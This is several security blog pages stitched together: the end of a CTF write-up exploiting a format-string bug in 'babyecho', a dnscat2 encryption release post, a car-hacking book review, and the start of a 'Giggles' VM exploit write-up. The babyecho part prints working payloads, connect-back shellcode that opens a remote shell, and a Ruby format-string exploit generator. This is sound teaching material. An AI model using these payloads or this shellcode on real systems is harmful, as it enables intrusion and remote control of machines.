    ?? ?? ?? ?? [44 43 42 41] 03 00 00 ??
    

    Putting that all together, we get:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n'
    

    We prepend our length-changer onto the front, and give it a whirl:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41424344 in ?? ()
    

    I'm happy to report that I'm doing this all by hand to write the blog, and I got that working on my first try. :)

    A quick word of warning: if you're trying to jump to an address like 0x44434241, you have to write "41 42 43 44" to memory. To write the 0x41, as usual you'll want to use %49x%7$n. That means that 65 (0x41) bytes have been output so far. To then output 0x42, you need one more byte written. The problem is that %1x can output anything between 1 and 8 bytes, because it won't truncate the output. You have to use either "%257x" or just a single byte, like "A". I fought with that problem for quite some time during this level...

    Let's summarize what we've done...

    I feel like I've written a lot. According to my editor, I'm at 708 lines right now. And it's all pretty crazy!

    So here's a summary of where we are before we get to the last step...

    • We used %n and a static address to change the max length of the input string
    • We gave it four addresses to edit, which wind up on the stack (see func_a)
    • We use %NNx, where NN = the number of bytes we want to waste, to ensure %n writes the proper value
    • We use %7$n to write to the first address, %8$n to write to the second address, %9$n to write to the third address, and %10$n to write to the fourth, with a %NNx between each of them to make sure we waste the appropriate number of bytes

    And now for the final step...

    Going somewhere useful

    For the last part, instead of jumping to 0x41414141 or 0x41424344, we're going to jump to some shellcode. Shellcode is, basically, "code that spawns a shell". I normally wind up Googling for the exact shellcode I want, like "32-bit Linux connect back shellcode", and grabbing something that looks legit. That's not exactly a great practice in general, because who knows what kind of backdoors there are, but for a CTF it's not a big deal (to me, at least :) ).

    Before we worry about shellcode, though, we have to figure out where to stash it!

    It turns out, for this level, the stack is executable. That makes life easy - I wrote an exploit that ROPed to mprotect() to make it executable before running the shellcode, then realized that was totally unnecessary.

    Since we can access the buffer with "%x" in the format string, it means the buffer is definitely on the stack somewhere. That means we can find it exactly like we found everything else - open up the corefile and start looking at the stack pointer (esp).

    Let's use the same exploit as we just used to crash it, but this time we'll put some text after that we can search for:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n''AAAAAAAAAAAAAAAAAAAAAAAAAA' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    #0  0x41424344 in ?? ()
    (gdb) x/10000xw $esp
    0xffffc150:     0x00000003      0x00000000      0x00000000      0x00000000
    0xffffc160:     0x00000000      0x00000000      0x00000000      0x00000000
    ...
    0xffffc6c0:     0x39257835      0x32256e24      0x25783535      0x6e243031
    0xffffc6d0:     0x41414141      0x41414141      0x41414141      0x41414141
    

    There we go! The shellcode is stored at 0xffffc6d0!

    That means we need to write "d0 c6 ff ff" to the return address.

    We start, as always, by writing our 16 bytes worth of addresses: '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff' - that's the offset each of the 4 bytes of the return address.

    The first byte we want to write to the return address is 0xd0 (208), which means that after the 16 bytes of addresses we need an additional 208 - 16 = 192 bytes: '%192x%7$n'

    The second byte of our shellcode offset is 0xc6. To go from 0xd0 to 0xc6 we have to wrap around by adding 246 bytes (0xd0 + 246 = 0x01c6): '%246x%8$n'

    The third byte is 0xff. 0xff - 0xc6 = 57: '%57x%9$n'

    The fourth byte is also 0xff, which means we can either do %256x or just nothing: '%10$n'.

    Putting it all together, we have:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n'"$SHELLCODE"
    

    We have one small problem, though: when we calculated the address of the shellcode earlier, we didn't take into account the fact that we were going to wind up changing the format string. Because we changed it, buffer is going to be in a slightly different place. We'll solve that the easy way and just pad it with NOPs (no operation - 0x90):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"$SHELLCODE"
    

    Now, let's make sure all that's working by using either "\xcd\x03" or "\xcc" as shellcode. These both refer to a debug breakpoint and are really easy to see:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xcc' | ./babyecho > /dev/null
    Trace/breakpoint trap (core dumped)
    

    Awesome! The second test string I always use is \xeb\xfe, which causes an infinite loop:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xeb\xfe' | ./babyecho > /dev/null
    ...nothing happens...
    

    I like using those two against the real server to see if things are working. The real server will disconnect you immediately for "\xcd\x03", and the server will time out with "\xeb\xfe".

    Shellcode

    For the final step (to exploiting it locally), let's grab some shellcode from the Internet.

    This is some shellcode I've used in the past - it's x86, and it connects back to my ip address on port 0x4444 (17476). I've put some additional quotes around the ip address and the port number so they're easy to find:

    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
    

    We replace the "\xcc" or "\xeb\xfe" with all that muck, and give it a run:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ./babyecho > /dev/null
    

    Meanwhile, on my server, I'm listening for connections, and sure enough, a connection comes:

    $ nc -vv -l -p 17476
    listening on [any] 17476 ...
    connect to [206.220.196.59] from 71-35-121-132.tukw.qwest.net [71.35.121.123] 56307
      pwd
    /home/ron/defcon-quals/babyecho
    ls /
    applications-merged
    bin
    boot
    dev
    etc
    home
    lib
    lib32
    lib64
    lost+found
    media
    mnt
    opt
    proc
    root
    run
    sbin
    stage3-amd64-20130124.tar.bz2
    sys
    tmp
    torrents
    usr
    var
    vmware
    

    Using it against the real server...

    The biggest difference between what we just did and using this against the real server is that you can't run a debugger on the server to grab addresses. Instead, you have to leak a stack address and use a relative offset. That's pretty straight forward, though, the format string lets you use "%x" to go up and down the stack trivially.

    It's also a huge pain to calculate all the offsets by hand, so here's some code I wrote during the competition to generate a format string exploit for you... it should take care of everything:

    def create_exploit(writes, starting_offset, prefix = "")
      index = starting_offset
      str = prefix
    
      addresses = []
      values = []
      writes.keys.sort.each do |k|
        addresses << k
        values << writes[k]
      end
      addresses.each do |a|
        str += [a, a+1, a+2, a+3].pack("VVVV")
      end
    
      len = str.length
    
      values.each do |v|
        a = (v >>  0) & 0x0FF
        b = (v >>  8) & 0x0FF
        c = (v >> 16) & 0x0FF
        d = (v >> 24) & 0x0FF
    
        [a, b, c, d].each do |val|
          count = 257
          len  += 1
          while((len & 0x0FF) != val)
            len   += 1
            count += 1
          end
    
          str += "%#{count}x"
          str += "%#{index}$n"
          index += 1
        end
      end
    
      puts("Generated a #{str.length}-byte format string exploit:")
      puts(str)
      puts(str.unpack("H*"))
    
      return str
    end
    

    Conclusion

    That's a big, long, fairly detailed explanation of format string bugs.

    Basically, a format string bug lets you read the stack and write to addresses stored on the stack. By using four single-byte writes to consecutive addresses, and carefully wasting just enough bytes in between, you can write an arbitrary value to anywhere in memory.

    By carefully selecting where to write, you can overwrite the return address.

    In this particular level, we were able to run shellcode directly from the stack. Ordinarily. I would have looped for somewhere to ROP to, such as using mprotect() to make the stack executable.

    And that's it!

    Please leave feedback. I spent a long time writing this, would love to hear what people think!

    8 thoughts on “Defcon Quals: babyecho (format string vulns in gory detail)

    1. Reply

      WawaSeb

      Awesome writeup.

      Many thanks.
      :)

    2. Reply

      N8Fear

      It seems like you never fail to deliver. If I had this or your explanation of ROP back when I did "Computer Security" at university the course would have been way more easier.
      You really have a very entertaining style of writing about technical matters and an uncanny ability to break hard technical stuff into easy to understand pieces of information.
      I'm quite thankful I guess and I'm (as always) looking forward to the next blog entry of yours.

      PS: Also it's also nice to "meet" fellow Gentoo users... ;-)

      1. Reply

        Ron Bowes Post author

        Haha, what gave me away re: Gentoo? :)

        1. Reply

          N8Fear

          The stage3 archive in your root directory... ;-)

          1. Reply

            Ron Bowes Post author

            Hahaha, well played!

    3. Reply

      vang

      Can you do it on 64 bit machine?

    4. Reply

      Amit

      Can you please share the source code of babyecho ? Thanks.

    5. Reply

      Snail_

      Incredible writeup! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### dnscat2: now with crypto! » SkullSecurity


    dnscat2: now with crypto!

    Hey everybody,

    Live from the SANS Pentest Summit, I'm excited to announce the latest beta release of dnscat2: 0.04! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!

    Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the protocol doc!

    Tell me what's new!

    By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the huge advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)

    By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with --security=open (or run set security=open), then the client decides the security level - including cleartext.

    If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using --security=open or --security=encrypted (or the equivalent set commands).

    Let's look at the man-in-the-middle protection...

    Short authentication strings

    First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by ZRTP and Silent Circle, are a visual way to tell if you're the victim of a man-in-the-middle attack.

    Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:

    Encrypted session established! For added security, please verify the server also displays this string:
    
    Tort Hither Harold Motive Nuns Unwrap
    

    And the server:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Tort Hither Harold Motive Nuns Unwrap
    

    There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.

    Authentication

    Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as --secret=pineapple. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.

    Details on how this is implemented are below.

    How stealthy is it?

    To be perfectly honest: not completely.

    The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.

    After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.

    It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.

    Of course, that doesn't stop people from patching things. :)

    The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.

    What are the hidden costs?

    Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.

    Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.

    Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.

    How do I turn it off?

    The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server <=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.

    Speaking of turning off encryption in the client: you can compile without encryption by using make nocrypto. You can also disable encryption at runtime with dnscat2 --no-encryption. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with --security=open.

    Give me some technical details!

    Your best bet if you're REALLY curious is to check out the protocol doc, where I document the protocol in full.

    But I'll summarize it here. :)

    The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.

    That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.

    Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.

    As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).

    Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.

    If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.

    Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.

    And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!

    Challenges

    A few of the challenges I had to work through...

    • Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)
    • I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation
    • Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard
    • Finding a working SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and one of them actually took the time to fix it!
    • Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)

    Shouts out

    I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.

    So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:

    • Alex Weber, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the Salsa20 implementation I used
    • Brandon Enright, who give me a ton of handy crypto advice
    • Eric Gershman, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto

    One thought on “dnscat2: now with crypto!

    1. Reply

      techmonkey

      Awesome. Thanks Ron!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### June » 2015 » SkullSecurity

    Defcon quals: wwtw (a series of vulns)

    Hey folks, This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. […]

    #####EOF##### Book review: The Car Hacker’s Handbook » SkullSecurity


    Book review: The Car Hacker’s Handbook

    So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long enough. But, don't fear! I have a nice heavy technical blog ready to go for tomorrow!

    Introduction

    Let's kick this off with some pointless backstory! Skip to the next <h1> heading if you don't care how this blog post came about. :)

    So, a couple years ago, I thought I'd give Audible a try, and read (err, listen to) some Audiobooks. I was driving from LA to San Francisco, and picked up a fiction book (one of Terry Pratchett's books in the Tiffany Aching series). I hated it (the audio experience), but left Audible installed and my account active.

    A few months ago, on a whim, I figured I'd try a non-fiction book. I picked up NOFX's book, "The Hepatitis Bathtub and Other Stories". It was read by the band members and it was super enjoyable to listen while walking and exercising! And, it turns out, Audible had been giving me credits for some reason, and I have like 15 free books or something that I've been consuming like crazy.

    Since my real-life friends are sick of listening to me talk about all books I'm reading, I started amusing myself by posting mini-reviews on Facebook, which got some good feedback.

    That got me thinking: writing book reviews is kinda fun!

    Then a few days ago, I was talking to a publisher friend at Rocky Mountain books , and he mentioned how he there's a reviewer who they sent a bunch of books to, and who didn't write any reviews. My natural thought was, "wow, what a jerk!".

    Then I remembered: I'd promised No Starch that I'd write about The Car Hacker's Handbook like two years ago, and totally forgot. Am I the evil scientist jerk?

    So now, after re-reading the book, you get to hear my opinions. :)

    Threat Models

    I've never really written about a technical book before, at least, not to a technical audience. So bear with this stream-of-consciousness style. :)

    I think my favourite part of the book is the layout. When writing a book about car hacking to a technical audience, there's always a temptation to start with the "cool stuff" - protocols, exploits, stuff like that. It's also easy to forget about the varied level of your audience, and to assume knowledge. Since I have absolutely zero knowledge about car hacking (or cars, for that matter; my proudest accomplishment is filling the washer fluid by the third try and pulling up to the correct side of the gas pumps), I was a little worried.

    At my current job (and previous one), I do product security reviews. I go through the cycle of: "here's something you've never seen before: ramp up, become an expert, and give us good advice. You have one week". If you ever have to do this, here's my best advice: just ask the engineers where they think the security problems are. In 5 minutes of casual conversation, you can find all the problems in a system and look like a hero. I love engineers. :)

    But what happens when the engineers don't have security experience, or take an adversarial approach? Or when you want a more thorough / complete review?

    That's how I learned to make threat models! Threat models are simply a way to discover the "attack surface", which is where you need to focus your attention as a reviewer (or developer). If you Google the term, you'll find lots of technical information on the "right way" to make a threat model. You might hear about STRIDE (spoofing/tampering/repudiation/information disclosure/denial of service/escalation of privileges). When I tried to use that, I tended to always get stuck on the same question: "what the heck IS 'repudiation', anyways?".

    But yeah, that doesn't really matter. I use STRIDE to help me come up with questions and scenarios, but I don't do anything more formal than that.

    If you are approaching a new system, and you want a threat model, here's what you do: figure out (or ask) what the pieces are, and how they fit together. The pieces could be servers, processes, data levels, anything like that; basically, things with a different "trust level", or things that shouldn't have full unfettered access to each other (read, or write, or both).

    Once you have all that figured out, look at each piece and each connection between pairs of pieces and try to think of what can go wrong. Is plaintext data passing through an insecure medium? Is the user authentication/authorization happening in the right place? Is the traffic all repudiatable (once we figure out what that means)? Can data be forged? Or changed?

    It doesn't have to be hard. It doesn't have to match any particular standard. Just figure out what the pieces are and where things can go wrong. If you start there, the rest of a security review is much, much easier for both you and the engineers you're working with. And speaking of the engineers: it's almost always worth the time to work together with engineers to develop a threat model, because they'll remember it next time.

    Anyway, getting back to the point: that's the exact starting point that the Car Hacker's Handbook takes! The very first chapter is called "Understanding Threat Models". It opens by taking a "bird's eye view" of a car's systems, and talking about the big pieces: the cellular receiver, the Bluetooth, the wifi, the "infotainment" console, and so on. All these pieces that I was vaguely aware of in my car, but didn't really know the specifics of.

    It then breaks them down into the protocols they use, what the range is, and how they're parsed. For example, the Bluetooth is "near range", and is often handled by "Bluez". USB is, obviously, a cable connection, and is typically handled by udev in the kernel. And so on.

    Then they look at the potential threats: remotely taking over a vehicle, unlocking it, stealing it, tracking it, and so on.

    For every protocol, it looks at every potential threat and how it might be affected.

    This is the perfect place to start! The authors made the right choice, no doubt about it!

    (Sidenote: because the rule of comedy is that 3 references to something is funnier than 2, and I couldn't find a logical third place to mention it, I just want to say "repudiation" again.)

    Protocols

    If you read my blog regularly, you know that I love protocols. The reason I got into information security in the first place was by reverse engineering Starcraft's game protocol and implementing and documenting it (others had reversed it before, but nobody had published the information).

    So I found the section on protocols intriguing! It's not like the olden days, when every protocol was custom and proprietary and weird: most of the protocols are well documented, and it just requires the right hardware to interface with it.

    I don't want to dwell on this too much, but the book spends a TON of time talking about how to find physical ports, sniff protocols, understand what you're seeing, and figure out how to do things like unlock your doors in a logical, step-by-step manner. These protocols are all new to me, but I loved the logical approach that they took throughout the protocol chapters. For somebody like me, having no experience with car hacking or even embedded systems, it was super easy to follow and super informative!

    It's good enough that I wanted to buy a new car just so I could hack it. Unfortunately, my accountant didn't think I'd be able to write it off as a business expense. :(

    Attacks

    After going over the protocols, the book moves to attacks. I had just taken a really good class on hardware exploitation, and many of the same principles applied: dumping firmware, reverse engineering it, and exploring the attack surfaces.

    Not being a hardware guy, I don't really want to attempt to reproduce this part in any great detail. It goes into a ton of detail on building out a lab, exploring attack surfaces (like the "infotainment" system, vehicle-to-vehicle communication, and even using SDR (software defined radio) to eavesdrop and inject into the wireless communication streams).

    Conclusion

    So yeah, this book is definitely well worth the read!

    The progression is logical, and it's an incredible introduction, even for somebody with absolutely no knowledge of cars or embedded systems!

    Also: I'd love to hear feedback on this post! I'm always looking for new things to write about, and if people legitimately enjoy hearing about the books I read, I'll definitely do more of this!

    3 thoughts on “Book review: The Car Hacker’s Handbook

    1. Reply

      Alessandro Stamatto

      Fun post/review! I think my Car is too old to be hacked ?.

      For posts suggestions: I like book reviews! Another topic that I'm curious is how to reverse Game Network Protocols. It seems very hard (Crypto, server challanges, anti-reversing rootkits...)

    2. Reply

      CapitanShinChan

      Nice post! Waiting for the 2nd part.

      As Alessandro Said, I would also love to know more about "game hacking". Probably I would buy the nostarch book (https://www.nostarch.com/gamehacking) next month and start reverse engineering some games (so I can improve my radare skills).

    3. Reply

      Grazfather

      Good post. I also appreciated the approach that started with making a 'formal' threat model.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### GitS 2015: Giggles (off-by-one virtual machine) » SkullSecurity


    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink!

    Now, down to business: this writeup is about one of the Pwnage 300 levels; specifically, Giggles, which implements a very simple and very vulnerable virtual machine. You can download the binary here, the source code here (with my comments - I put XXX near most of the vulnerabilities and bad practices I noticed), and my exploit here.

    One really cool aspect of this level was that they gave source code, a binary with symbols, and even a client (that's the last time I'll mention their client, since I dislike Python :) )! That means we could focus on exploitation and not reversing!

    The virtual machine

    I'll start by explaining how the virtual machine actually works. If you worked on this level yourself, or you don't care about the background, you can just skip over this section.

    Basically, there are three operations: TYPE_ADDFUNC, TYPE_VERIFY, and TYPE_RUNFUNC.

    The usual process is that the user adds a function using TYPE_ADDFUNC, which is made up of one (possibly zero?) or more operations. Then the user verifies the function, which checks for bounds violations and stuff like that. Then if that succeeds, the user can run the function. The function can take up to 10 arguments and output as much as it wants.

    There are only seven different opcodes (types of operations), and one of the tricky parts is that none of them deal with absolute values—only other registers. They are:

    • OP_ADD reg1, reg2 - add two registers together, and store the result in reg1
    • OP_BR <addr> - branch (jump) to a particular instruction - the granularity of these jumps is actually per-instruction, not per-byte, so you can't jump into the middle of another instruction, which ruined my initial instinct :(
    • OP_BEQ <addr> <reg1> <reg2> / OP_BGT <addr> <reg1> <reg2> - branch if equal and branch if greater than are basically the same as OP_BR, except the jumps are conditional
    • OP_MOV <reg1> <reg2< - set reg1 to equal reg2
    • OP_OUT <reg> - output a register (gets returned as a hex value by RUNFUNC)
    • OP_EXIT - terminate the function

    To expand on the output just a bit - the program maintains the output in a buffer that's basically a series of space-separated hex values. At the end of the program (when it either terminates or OP_EXIT is called), it's sent back to the client. I was initially worried that I would have to craft some hex-with-spaces shellcode, but thankfully that wasn't necessary. :)

    There are 10 different registers that can be accessed. Each one is 32 bits. The operand values, however, are all 64-bit values.

    The verification process basically ensures that the registers and the addresses are mostly sane. Once it's been validated, a flag is switched and the function can be called. If you call the function before verifying it, it'll fail immediately. If you can use arbitrary bytecode instructions, you'd be able to address register 1000000, say, and read/write elsewhere in memory. They wanted to prevent that.

    Speaking of the vulnerability, the bug that leads to full code execution is in the verify function - can you find it before I tell you?

    The final thing to mention is arguments: when you call TYPE_RUNFUNC, you can pass up to I think 10 arguments, which are 32-bit values that are placed in the first 8 registers.

    Fixing the binary

    I've gotten pretty efficient at patching binaries for CTFs! I've talked about this before, so I'll just mention what I do briefly.

    I do these things immediately, before I even start working on the challenge:

    • Replace the call to alarm() with NOPs
    • Replace the call to fork() with "xor eax, eax", followed by NOPs
    • Replace the call to drop_privs() with NOPs
    • (if I can find it)

    That way, the process won't be killed after a timeout, and I can debug it without worrying about child processes holding onto ports and other irritations. NOPing out drop_privs() means I don't have to worry about adding a user or running it as root or creating a folder for it. If you look at the objdump outputs diffed, here's what it looks like:

    --- a   2015-01-27 13:30:29.000000000 -0800
    +++ b   2015-01-27 13:30:31.000000000 -0800
    @@ -1,5 +1,5 @@
    
    -giggles:     file format elf64-x86-64
    +giggles-fixed:     file format elf64-x86-64
    
    
     Disassembly of section .interp:
    @@ -1366,7 +1366,10 @@
         125b:      83 7d f4 ff             cmp    DWORD PTR [rbp-0xc],0xffffffff
         125f:      75 02                   jne    1263 <loop+0x3d>
         1261:      eb 68                   jmp    12cb <loop+0xa5>
    -    1263:      e8 b8 fc ff ff          call   f20 <fork@plt>
    +    1263:      31 c0                   xor    eax,eax
    +    1265:      90                      nop
    +    1266:      90                      nop
    +    1267:      90                      nop
         1268:      89 45 f8                mov    DWORD PTR [rbp-0x8],eax
         126b:      83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff
         126f:      75 02                   jne    1273 <loop+0x4d>
    @@ -1374,14 +1377,26 @@
         1273:      83 7d f8 00             cmp    DWORD PTR [rbp-0x8],0x0
         1277:      75 48                   jne    12c1 <loop+0x9b>
         1279:      bf 1e 00 00 00          mov    edi,0x1e
    -    127e:      e8 6d fb ff ff          call   df0 <alarm@plt>
    +    127e:      90                      nop
    +    127f:      90                      nop
    +    1280:      90                      nop
    +    1281:      90                      nop
    +    1282:      90                      nop
         1283:      48 8d 05 b6 1e 20 00    lea    rax,[rip+0x201eb6]        # 203140 <USER>
         128a:      48 8b 00                mov    rax,QWORD PTR [rax]
         128d:      48 89 c7                mov    rdi,rax
    -    1290:      e8 43 00 00 00          call   12d8 <drop_privs_user>
    +    1290:      90                      nop
    +    1291:      90                      nop
    +    1292:      90                      nop
    +    1293:      90                      nop
    +    1294:      90                      nop
         1295:      8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]
         1298:      89 c7                   mov    edi,eax
    
    

    I just use a simple hex editor on Windows, xvi32.exe, to take care of that. But you can do it in countless other ways, obviously.

    What's wrong with verifyBytecode()?

    Have you found the vulnerability yet?

    I'll give you a hint: look at the comparison operators in this function:

    int verifyBytecode(struct operation * bytecode, unsigned int n_ops)
    {
        unsigned int i;
        for (i = 0; i < n_ops; i++)
        {
            switch (bytecode[i].opcode)
            {
                case OP_MOV:
                case OP_ADD:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    else if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_OUT:
                    if (bytecode[i].operand1 > NUM_REGISTERS)
                        return 0;
                    break;
                case OP_BR:
                    if (bytecode[i].operand1 > n_ops)
                        return 0;
                    break;
                case OP_BEQ:
                case OP_BGT:
                    if (bytecode[i].operand2 > NUM_REGISTERS)
                        return 0;
